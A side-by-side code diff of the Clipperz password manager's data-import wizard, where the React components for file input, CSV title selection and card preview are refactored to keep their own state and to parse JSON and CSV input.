 | 
				
			||||||
 | 
														result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
 | 
				
			||||||
 | 
													} else{
 | 
				
			||||||
 | 
														result = null;
 | 
				
			||||||
 | 
													}
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													cellCount++;
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													return  result;
 | 
				
			||||||
 | 
												}, row));
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											rowCount++;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											return result;
 | 
				
			||||||
 | 
										},this), importContext.parsedCsv)
 | 
				
			||||||
				)
 | 
									)
 | 
				
			||||||
					
 | 
										
 | 
				
			||||||
			])
 | 
								])
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -26,45 +26,115 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvTitlesClass = React.createClass({
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvTitlesClass = React.createClass({
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	checkedCallback: function(columnN) {
 | 
						getInitialState: function() {
 | 
				
			||||||
		return columnN == this.props.importState.importData.titlesColumn;
 | 
							return {
 | 
				
			||||||
 | 
								'titlesColumn': this.props.importContext.titlesColumn,
 | 
				
			||||||
 | 
								'notesColumn': this.props.importContext.notesColumn
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
 | 
						componentDidMount() {
 | 
				
			||||||
 | 
							this.props.setNextStepCallback((this.isNextDisabled()) ? null : this.handleNextStep);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						handleNextStep: function() {
 | 
				
			||||||
 | 
							return this.state;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						updateNextStatus: function() {
 | 
				
			||||||
 | 
							this.props.setNextStepCallback((! this.isNextDisabled()) ? this.handleNextStep : null);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						isNextDisabled: function() {
 | 
				
			||||||
 | 
							return (this.state.titlesColumn != 0 && ! this.state.titlesColumn );
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
	onChangeCallback: function(columnN) {
 | 
						onChangeCallback: function(columnN) {
 | 
				
			||||||
		var newState = {'importData': this.props.importState.importData};
 | 
							var newState = this.state;
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
		if (this.props.importState.importData.notesColumn == columnN) {
 | 
							if (newState.notesColumn == columnN) {
 | 
				
			||||||
			newState.importData.notesColumn = null;
 | 
								newState.notesColumn = null;
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
		newState.importData.titlesColumn = columnN;
 | 
							newState.titlesColumn = columnN;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		this.props.setImportStateCallback(newState);
 | 
							this.updateNextStatus();
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							this.setState(newState);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	render: function() {
 | 
						render: function() {
 | 
				
			||||||
 | 
							var rowCount, cellCount;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		var importData = this.props.importState.importData;
 | 
							var importContext = this.props.importContext;		
 | 
				
			||||||
 | 
							var columnLabels = importContext.getCsvLabels();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							rowCount = 0;
 | 
				
			||||||
 | 
							cellCount = 0;
 | 
				
			||||||
		return React.DOM.div({},[
 | 
							return React.DOM.div({},[
 | 
				
			||||||
			React.DOM.h2({},"Titles"),
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
 | 
					 | 
				
			||||||
				'format': 'csv',
 | 
					 | 
				
			||||||
				'stepId': 'csv-titles',
 | 
					 | 
				
			||||||
				'prevStep': 'csv-labels',
 | 
					 | 
				
			||||||
				'nextStep': 'csv-notes',
 | 
					 | 
				
			||||||
				'goToStepCallback': this.props.goToStepCallback,
 | 
					 | 
				
			||||||
				'nextDisabled': (importData.titlesColumn != 0 && ! importData.titlesColumn )
 | 
					 | 
				
			||||||
			}),
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			React.DOM.p({}, "Select the column that contains titles of the cards you are importing. (mandatory)"),
 | 
								React.DOM.p({}, "Select the column that contains titles of the cards you are importing. (mandatory)"),
 | 
				
			||||||
			React.DOM.table({'style': {'background': 'white'}},[
 | 
								React.DOM.table({'className': 'csvTable'},[
 | 
				
			||||||
				React.DOM.thead({},
 | 
									React.DOM.thead({},
 | 
				
			||||||
					this.props.csvRenderTheadInputCallback('titles', 'radio', this.checkedCallback, this.onChangeCallback, null, true)
 | 
										React.DOM.tr({},
 | 
				
			||||||
 | 
											MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
 | 
				
			||||||
 | 
												var result;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												var thId = 'csv-titles-header-' + cellCount;
 | 
				
			||||||
 | 
												var inputId = 'csv-titles-input-' + cellCount;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												if (! importContext.selectedColumns[cellCount]) {
 | 
				
			||||||
 | 
													result = null;
 | 
				
			||||||
 | 
												} else {
 | 
				
			||||||
 | 
													result = React.DOM.th({'key': thId}, [
 | 
				
			||||||
 | 
														React.DOM.label({'htmlFor': inputId}, columnLabels[cellCount]),
 | 
				
			||||||
 | 
														React.DOM.input({
 | 
				
			||||||
 | 
															'type': 'radio',
 | 
				
			||||||
 | 
															'id': inputId,
 | 
				
			||||||
 | 
															'key': inputId,
 | 
				
			||||||
 | 
															'ref': inputId,
 | 
				
			||||||
 | 
															'checked': cellCount == this.state.titlesColumn,
 | 
				
			||||||
 | 
															'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount)
 | 
				
			||||||
 | 
														})
 | 
				
			||||||
 | 
													]);
 | 
				
			||||||
 | 
												}
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												cellCount++;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												return result;
 | 
				
			||||||
 | 
											}, this), this.props.importContext.parsedCsv[0])
 | 
				
			||||||
 | 
										)
 | 
				
			||||||
				),
 | 
									),
 | 
				
			||||||
				React.DOM.tbody({},
 | 
									React.DOM.tbody({},
 | 
				
			||||||
					this.props.csvRenderTbodyCallback()
 | 
										MochiKit.Base.map(MochiKit.Base.bind(function(row){
 | 
				
			||||||
 | 
											var result;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											cellCount = 0;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											if (rowCount == 0 && importContext.firstRowAsLabels) {
 | 
				
			||||||
 | 
												result = null;
 | 
				
			||||||
 | 
											} else {							
 | 
				
			||||||
 | 
												result = React.DOM.tr({'key': 'csv-row-'+(rowCount)}, MochiKit.Base.map( function(cell) {
 | 
				
			||||||
 | 
													var result;
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													if (importContext.selectedColumns[cellCount]) {
 | 
				
			||||||
 | 
														result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
 | 
				
			||||||
 | 
													} else{
 | 
				
			||||||
 | 
														result = null;
 | 
				
			||||||
 | 
													}
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													cellCount++;
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													return  result;
 | 
				
			||||||
 | 
												}, row));
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											rowCount++;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											return result;
 | 
				
			||||||
 | 
										},this), importContext.parsedCsv)
 | 
				
			||||||
				)
 | 
									)
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
			])
 | 
								])
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -25,6 +25,129 @@ refer to http://www.clipperz.com.
 | 
				
			|||||||
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
					Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClass({
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClass({
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						getInitialState: function() {
 | 
				
			||||||
 | 
							return {
 | 
				
			||||||
 | 
								'inputString': (this.props.importContext.inputString) ? this.props.importContext.inputString : null,
 | 
				
			||||||
 | 
								'format': (this.props.importContext.format) ? this.props.importContext.format : null,
 | 
				
			||||||
 | 
								//'parsedInput': (this.props.importContext.parsedInput) ? this.props.importContext.parsedInput : null,
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						componentDidMount: function() {
 | 
				
			||||||
 | 
							this.updateNextStatus(this.state.inputString);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						handleNextStep: function() {
 | 
				
			||||||
 | 
							var result;
 | 
				
			||||||
 | 
							var jsonData;
 | 
				
			||||||
 | 
							var parsedInput;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							var inputString = this.refs['input-textarea'].getDOMNode().value.trim();
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							result = {'inputString': inputString};
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							parsedInput = this.parseJson(inputString);
 | 
				
			||||||
 | 
							if (parsedInput) {
 | 
				
			||||||
 | 
								MochiKit.Base.update(result,this.props.importContext.getInitialJsonContext(parsedInput));
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								parsedInput = this.parseCsv(inputString);
 | 
				
			||||||
 | 
								if (parsedInput) {
 | 
				
			||||||
 | 
									MochiKit.Base.update(result, this.props.importContext.getInitialCsvContext(parsedInput));
 | 
				
			||||||
 | 
								} else {
 | 
				
			||||||
 | 
									result = false;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return result;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						updateNextStatus: function(newInputString) {
 | 
				
			||||||
 | 
							this.props.setNextStepCallback((newInputString) ? this.handleNextStep : null);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						extractJsonFromClipperzExport: function(someHtml) {
 | 
				
			||||||
 | 
							var textarea;
 | 
				
			||||||
 | 
							var regexMatch;
 | 
				
			||||||
 | 
							var result;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							var re = new RegExp('.*<textarea>(.*)<\/textarea>.*','g');
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							if (re.test(someHtml)) {
 | 
				
			||||||
 | 
								textarea =  this.refs['input-textarea'].getDOMNode();
 | 
				
			||||||
 | 
								textarea.innerHTML = someHtml.replace(re, '$1');
 | 
				
			||||||
 | 
								result = textarea.innerHTML;
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								result = false;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return result;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						addImportIds: function (someJson) {
 | 
				
			||||||
 | 
							var count;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							for (count=0; count < someJson.length; count++) {
 | 
				
			||||||
 | 
								someJson[count]['_importId'] = count;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						parseJson: function(aJsonString) {
 | 
				
			||||||
 | 
							var result;
 | 
				
			||||||
 | 
							var jsonData;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							try {
 | 
				
			||||||
 | 
								jsonData = JSON.parse(aJsonString);
 | 
				
			||||||
 | 
								this.addImportIds(jsonData);
 | 
				
			||||||
 | 
								result = jsonData;
 | 
				
			||||||
 | 
							} catch(e) {
 | 
				
			||||||
 | 
								result = false;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return result;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						parseCsv: function(aCsvString) {
 | 
				
			||||||
 | 
							var result;
 | 
				
			||||||
 | 
							var i;
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
							var parsedCsv = Papa.parse(aCsvString);
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							if (parsedCsv.errors.length != 0) {
 | 
				
			||||||
 | 
								result = false;
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								result = this.csvFillEmptyCells(parsedCsv.data);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return result;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						csvFillEmptyCells: function(table) {
 | 
				
			||||||
 | 
							var i,j;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							var result = [];
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							var maxColumns = MochiKit.Iter.reduce(function(prev,next) {
 | 
				
			||||||
 | 
								return Math.max(prev,next)
 | 
				
			||||||
 | 
							}, MochiKit.Base.map(function(row) {return row.length;}, table) );
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							for (i=0; i<table.length; i++) {
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								result[i] = [];
 | 
				
			||||||
 | 
								for (j=0; j<maxColumns; j++) {
 | 
				
			||||||
 | 
									result[i][j] = (typeof(table[i][j]) != "undefined") ? table[i][j] : "";
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return result;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
	handleUploadFiles: function(someFiles) {
 | 
						handleUploadFiles: function(someFiles) {
 | 
				
			||||||
		var file;
 | 
							var file;
 | 
				
			||||||
		var reader;
 | 
							var reader;
 | 
				
			||||||
@@ -33,19 +156,24 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClas
 | 
				
			|||||||
			file = someFiles[0];
 | 
								file = someFiles[0];
 | 
				
			||||||
				reader = new FileReader();
 | 
									reader = new FileReader();
 | 
				
			||||||
				
 | 
									
 | 
				
			||||||
				// TODO: check what happens with binary files
 | 
									// Binary files are just thrown in the textarea as weird UTF-8 characters: should we do something about it?
 | 
				
			||||||
				reader.onloadend = MochiKit.Base.bind(function() {
 | 
									reader.onloadend = MochiKit.Base.bind(function() {
 | 
				
			||||||
					var extractedJson = this.props.extractJsonFromClipperzExportCallback(reader.result);
 | 
										var extractedJson = this.extractJsonFromClipperzExport(reader.result);
 | 
				
			||||||
 | 
										var newInputString;
 | 
				
			||||||
					
 | 
										
 | 
				
			||||||
					if (extractedJson) {
 | 
										if (extractedJson) {
 | 
				
			||||||
						this.props.setImportStateCallback({'importData': {'input': extractedJson}});
 | 
											newInputString = extractedJson;
 | 
				
			||||||
					} else {
 | 
										} else {
 | 
				
			||||||
						this.props.setImportStateCallback({'importData': {'input': reader.result}});
 | 
											newInputString = reader.result;
 | 
				
			||||||
					}
 | 
										}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										this.setState({'inputString': newInputString});
 | 
				
			||||||
 | 
										this.updateNextStatus(newInputString);
 | 
				
			||||||
				},this,reader);
 | 
									},this,reader);
 | 
				
			||||||
				
 | 
									
 | 
				
			||||||
				reader.readAsText(file);
 | 
									reader.readAsText(file);
 | 
				
			||||||
		} else {
 | 
							} else {
 | 
				
			||||||
 | 
								// Should this be removed?
 | 
				
			||||||
			alert("Error: expecting a file as input.");
 | 
								alert("Error: expecting a file as input.");
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
@@ -70,36 +198,17 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClas
 | 
				
			|||||||
		e.preventDefault();
 | 
							e.preventDefault();
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	handleSubmit: function(event) {
 | 
					 | 
				
			||||||
		var jsonData;
 | 
					 | 
				
			||||||
		var newState;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var inputString = this.refs['input-textarea'].getDOMNode().value.trim();
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		event.preventDefault();
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		if (newState = this.props.parseJsonCallback(inputString)) {
 | 
					 | 
				
			||||||
			this.props.setImportStateCallback(newState);
 | 
					 | 
				
			||||||
		} else if (newState = this.props.parseCsvCallback(inputString)) {
 | 
					 | 
				
			||||||
			this.props.setImportStateCallback(newState);
 | 
					 | 
				
			||||||
		} else {
 | 
					 | 
				
			||||||
			alert("Unrecognized input format...");
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	handleTextareaChange: function() {
 | 
						handleTextareaChange: function() {
 | 
				
			||||||
		this.props.setImportStateCallback({'importData': {'input': this.refs['input-textarea'].getDOMNode().value}});
 | 
							var newInputString = this.refs['input-textarea'].getDOMNode().value;
 | 
				
			||||||
 | 
							this.setState({'inputString': newInputString});
 | 
				
			||||||
 | 
							this.updateNextStatus(newInputString);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
	render: function() {
 | 
						render: function() {
 | 
				
			||||||
		return React.DOM.div({},[
 | 
							return React.DOM.div({},[
 | 
				
			||||||
			React.DOM.h2({},"Input"),
 | 
								React.DOM.form({'key':'form', 'className':'importForm' }, [
 | 
				
			||||||
			Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
 | 
					 | 
				
			||||||
				'format': 'json',
 | 
					 | 
				
			||||||
				'stepId': 'input'
 | 
					 | 
				
			||||||
			}),
 | 
					 | 
				
			||||||
			React.DOM.form({'key':'form', 'className':'importForm', 'onSubmit': this.handleSubmit }, [
 | 
					 | 
				
			||||||
				React.DOM.button({'key':'input-next', 'type':'submit', 'className':'button'}, "Next"),
 | 
					 | 
				
			||||||
				React.DOM.input({
 | 
									React.DOM.input({
 | 
				
			||||||
					'type': 'file',
 | 
										'type': 'file',
 | 
				
			||||||
					'ref': 'upload-input',
 | 
										'ref': 'upload-input',
 | 
				
			||||||
@@ -108,15 +217,10 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClas
 | 
				
			|||||||
					'style': {'display': 'none'}
 | 
										'style': {'display': 'none'}
 | 
				
			||||||
				}),
 | 
									}),
 | 
				
			||||||
				React.DOM.div({
 | 
									React.DOM.div({
 | 
				
			||||||
					'style': { // TODO: replace with proper CSS
 | 
					 | 
				
			||||||
						'width': '90%',
 | 
					 | 
				
			||||||
						'textAlign': 'center',
 | 
					 | 
				
			||||||
						'lineHeight': '3em',
 | 
					 | 
				
			||||||
						'border': '3px dashed white'
 | 
					 | 
				
			||||||
					},
 | 
					 | 
				
			||||||
					'onDragOver': this.handleOnDragOver,
 | 
										'onDragOver': this.handleOnDragOver,
 | 
				
			||||||
					'onDrop': this.handleOnDrop,
 | 
										'onDrop': this.handleOnDrop,
 | 
				
			||||||
					'onClick': MochiKit.Base.bind(function() { this.refs['upload-input'].getDOMNode().click() }, this)
 | 
										'onClick': MochiKit.Base.bind(function() { this.refs['upload-input'].getDOMNode().click() }, this),
 | 
				
			||||||
 | 
										'className': 'dropArea'
 | 
				
			||||||
				}, "Drag your Clipperz export file here or click select it manually."),
 | 
									}, "Drag your Clipperz export file here or click select it manually."),
 | 
				
			||||||
				React.DOM.p({}, "or"),
 | 
									React.DOM.p({}, "or"),
 | 
				
			||||||
				React.DOM.div({'key':'fields'},[
 | 
									React.DOM.div({'key':'fields'},[
 | 
				
			||||||
@@ -125,7 +229,7 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClas
 | 
				
			|||||||
						'name':'input-textarea',
 | 
											'name':'input-textarea',
 | 
				
			||||||
						'ref':'input-textarea',
 | 
											'ref':'input-textarea',
 | 
				
			||||||
						'placeholder':"Open the JSON file exported from Clipperz in a text editor. Then copy and paste its content here.",
 | 
											'placeholder':"Open the JSON file exported from Clipperz in a text editor. Then copy and paste its content here.",
 | 
				
			||||||
						'value': this.props.importState.importData.input,
 | 
											'value': this.state.inputString,
 | 
				
			||||||
						'onChange': this.handleTextareaChange,
 | 
											'onChange': this.handleTextareaChange,
 | 
				
			||||||
						'onDragOver': this.handleOnDragOver,
 | 
											'onDragOver': this.handleOnDragOver,
 | 
				
			||||||
						'onDrop': this.handleOnDrop,
 | 
											'onDrop': this.handleOnDrop,
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -26,28 +26,81 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createClass({
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createClass({
 | 
				
			||||||
 | 
					
 | 
				
			||||||
//	UNCOMMENT AFTER MERGE (uses methods in Record that were added in another branch)	
 | 
						getInitialState: function() {
 | 
				
			||||||
//	getTags: function (aTitle) {
 | 
							if (this.props.importContext.format == 'csv') {
 | 
				
			||||||
//		var result;
 | 
								return this.props.importContext.processCsv()
 | 
				
			||||||
//		var tagList;
 | 
							} else {
 | 
				
			||||||
//		
 | 
								return {
 | 
				
			||||||
//		var tagObject = Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aTitle);
 | 
									'jsonToImport': this.props.importContext.jsonToImport,
 | 
				
			||||||
//		
 | 
									'recordsToImport': this.props.importContext.recordsToImport,
 | 
				
			||||||
//		tagList = MochiKit.Base.keys(tagObject);
 | 
								}
 | 
				
			||||||
//		tagList = MochiKit.Base.filter(function(aTag) { return tagObject[aTag] }, tagList);
 | 
							}
 | 
				
			||||||
//		
 | 
						},
 | 
				
			||||||
//		if (tagList.length > 0) {
 | 
						
 | 
				
			||||||
//			result = React.DOM.ul({'className': 'tagList'},
 | 
						componentDidMount() {
 | 
				
			||||||
//				MochiKit.Base.map(function(aTag){
 | 
							this.props.setNextStepCallback(this.handleImport);
 | 
				
			||||||
//					return React.DOM.li({}, aTag);
 | 
						},
 | 
				
			||||||
//				}, tagList)
 | 
						
 | 
				
			||||||
//			);
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
//		} else {
 | 
					
 | 
				
			||||||
//			result = null;
 | 
						handleImport: function() {
 | 
				
			||||||
//		}
 | 
							MochiKit.Base.update(this.props.importContext, this.state);
 | 
				
			||||||
//		
 | 
					
 | 
				
			||||||
//		return result;
 | 
							var filteredImportData = MochiKit.Base.filter(
 | 
				
			||||||
//	},
 | 
								MochiKit.Base.bind(function(r) {
 | 
				
			||||||
 | 
									return this.isRecordToImport(r);
 | 
				
			||||||
 | 
								}, this),
 | 
				
			||||||
 | 
								this.state.jsonToImport
 | 
				
			||||||
 | 
							);
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'importCards', filteredImportData);
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return true;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						toggleRecordToImport: function(record) {
 | 
				
			||||||
 | 
							var newRecordsToImport;
 | 
				
			||||||
 | 
							var recordPosition;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							newRecordsToImport = this.state.recordsToImport;
 | 
				
			||||||
 | 
							recordPosition = newRecordsToImport.indexOf(record._importId);
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							if (recordPosition === -1) {
 | 
				
			||||||
 | 
								newRecordsToImport.push(record._importId);
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								newRecordsToImport.splice(recordPosition,1);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							this.setState({'recordsToImport': newRecordsToImport});
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						isRecordToImport: function(record) {
 | 
				
			||||||
 | 
							return (this.state.recordsToImport.indexOf(record._importId)>=0) ? true : false;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						getTags: function (aTitle) {
 | 
				
			||||||
 | 
							var result;
 | 
				
			||||||
 | 
							var tagList;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							var tagObject = Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aTitle);
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							tagList = MochiKit.Base.keys(tagObject);
 | 
				
			||||||
 | 
							tagList = MochiKit.Base.filter(function(aTag) { return tagObject[aTag] }, tagList);
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							if (tagList.length > 0) {
 | 
				
			||||||
 | 
								result = React.DOM.ul({'className': 'tagList'},
 | 
				
			||||||
 | 
									MochiKit.Base.map(function(aTag){
 | 
				
			||||||
 | 
										return React.DOM.li({}, aTag);
 | 
				
			||||||
 | 
									}, tagList)
 | 
				
			||||||
 | 
								);
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								result = null;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return result;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	renderCardFields: function(someFields) {
 | 
						renderCardFields: function(someFields) {
 | 
				
			||||||
		return MochiKit.Base.map(function(key) {
 | 
							return MochiKit.Base.map(function(key) {
 | 
				
			||||||
@@ -65,13 +118,11 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createCl
 | 
				
			|||||||
		return React.DOM.li({'className': 'card'}, [
 | 
							return React.DOM.li({'className': 'card'}, [
 | 
				
			||||||
			React.DOM.input({
 | 
								React.DOM.input({
 | 
				
			||||||
				'type': 'checkbox',
 | 
									'type': 'checkbox',
 | 
				
			||||||
				'checked': this.props.isRecordToImportCallback(aCard),
 | 
									'checked': this.isRecordToImport(aCard),
 | 
				
			||||||
				'onChange': MochiKit.Base.partial(this.props.toggleRecordToImportCallback,aCard)
 | 
									'onChange': MochiKit.Base.partial(this.toggleRecordToImport,aCard)
 | 
				
			||||||
			}),
 | 
								}),
 | 
				
			||||||
			React.DOM.h3({}, Clipperz.PM.DataModel.Record.filterOutTags(aCard.label)),
 | 
								React.DOM.h3({}, Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aCard.label)),
 | 
				
			||||||
//			REMOVE THE PREVIOUS LINE AND UNCOMMENT THE FOLLOWING 2 AFTER MERGE
 | 
								this.getTags(aCard.label),
 | 
				
			||||||
//			React.DOM.h3({}, Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aCard.label)),
 | 
					 | 
				
			||||||
//			this.getTags(aCard.label),
 | 
					 | 
				
			||||||
			React.DOM.dl({'className': 'fields'}, this.renderCardFields(aCard.currentVersion.fields)),
 | 
								React.DOM.dl({'className': 'fields'}, this.renderCardFields(aCard.currentVersion.fields)),
 | 
				
			||||||
			notesParagraph
 | 
								notesParagraph
 | 
				
			||||||
		]);
 | 
							]);
 | 
				
			||||||
@@ -80,38 +131,17 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createCl
 | 
				
			|||||||
	render: function() {
 | 
						render: function() {
 | 
				
			||||||
		var result;
 | 
							var result;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		if (! this.props.importState.importData || typeof(this.props.importState.jsonToImport)=='undefined' || !this.props.importState.jsonToImport) {
 | 
							if (typeof(this.state.jsonToImport)=='undefined' || !this.state.jsonToImport) {
 | 
				
			||||||
			result = "Error";
 | 
								result = "Error";
 | 
				
			||||||
		} else {
 | 
							} else {
 | 
				
			||||||
			var renderedPreview = React.DOM.ul({},
 | 
								var renderedPreview = React.DOM.ul({},
